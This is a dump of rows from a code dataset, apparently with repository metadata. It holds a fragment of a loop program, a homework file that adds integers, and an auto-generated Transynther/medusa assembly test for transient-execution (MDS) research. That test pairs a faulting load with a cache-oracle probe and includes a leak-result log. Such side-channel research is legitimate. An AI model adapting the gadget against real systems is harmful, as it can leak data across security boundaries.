mov $2,$1
mov $1,$3
mul $1,2
sub $1,1
add $2,3
mov $3,3
add $3,$2
lpe
| 72.3125
| 997
| 0.848747
|
fe1ff9d2ae2fdc30b786e37ab6747b404bd2b8cb
| 330
|
asm
|
Assembly
|
Homework Submission/Homework 1/1.asm
|
samiurprapon/CSE331L-Section-10-Fall20-NSU
|
f26c020bfefff58647e51fe619df9bf4a9a48b5e
|
[
"MIT"
] | null | null | null |
Homework Submission/Homework 1/1.asm
|
samiurprapon/CSE331L-Section-10-Fall20-NSU
|
f26c020bfefff58647e51fe619df9bf4a9a48b5e
|
[
"MIT"
] | null | null | null |
Homework Submission/Homework 1/1.asm
|
samiurprapon/CSE331L-Section-10-Fall20-NSU
|
f26c020bfefff58647e51fe619df9bf4a9a48b5e
|
[
"MIT"
] | null | null | null |
org 100h
MOV AX, 4 ; allocate 1st interger
MOV BX, 6 ; allocate 2nd interger
MOV CX, 8 ; allocate 3rd interger
ADD BX, AX ; add value and store inside of BX register
ADD CX, BX ; add value and store inside of CX register
ret
| 33
| 73
| 0.506061
|
179c0363234628e5881496cd041975f688a47388
| 5,935
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1390.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1390.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1390.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x18c87, %rsi
lea addresses_WC_ht+0x1cf1, %rdi
nop
nop
nop
inc %rdx
mov $58, %rcx
rep movsb
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_D_ht+0xdc07, %r11
nop
nop
nop
nop
dec %rbp
movl $0x61626364, (%r11)
nop
nop
nop
xor $40820, %r11
lea addresses_D_ht+0x1eb87, %rdx
nop
nop
nop
nop
and %r11, %r11
movw $0x6162, (%rdx)
nop
nop
nop
nop
and $7820, %rcx
lea addresses_WC_ht+0xe187, %r11
nop
and $11552, %rbp
mov $0x6162636465666768, %rsi
movq %rsi, (%r11)
nop
and %rdi, %rdi
lea addresses_WT_ht+0x17e37, %rdx
nop
nop
nop
and $30299, %r11
movb $0x61, (%rdx)
cmp $20342, %rsi
lea addresses_WC_ht+0x17907, %rcx
nop
nop
xor $45484, %rdx
mov $0x6162636465666768, %rbx
movq %rbx, %xmm1
and $0xffffffffffffffc0, %rcx
movaps %xmm1, (%rcx)
nop
nop
nop
add $1198, %rbp
lea addresses_WT_ht+0x11187, %rbx
nop
cmp %rbp, %rbp
vmovups (%rbx), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rdi
nop
nop
nop
xor $49733, %rsi
lea addresses_WC_ht+0x7dfb, %rsi
lea addresses_A_ht+0xf9a7, %rdi
inc %r14
mov $116, %rcx
rep movsb
nop
nop
nop
cmp %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r9
push %rbx
push %rdi
// Faulty Load
lea addresses_WT+0x1d987, %r15
sub $41762, %rbx
mov (%r15), %r9w
lea oracles, %rdi
and $0xff, %r9
shlq $12, %r9
mov (%rdi,%r9,1), %r9
pop %rdi
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 40.931034
| 2,999
| 0.659646
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.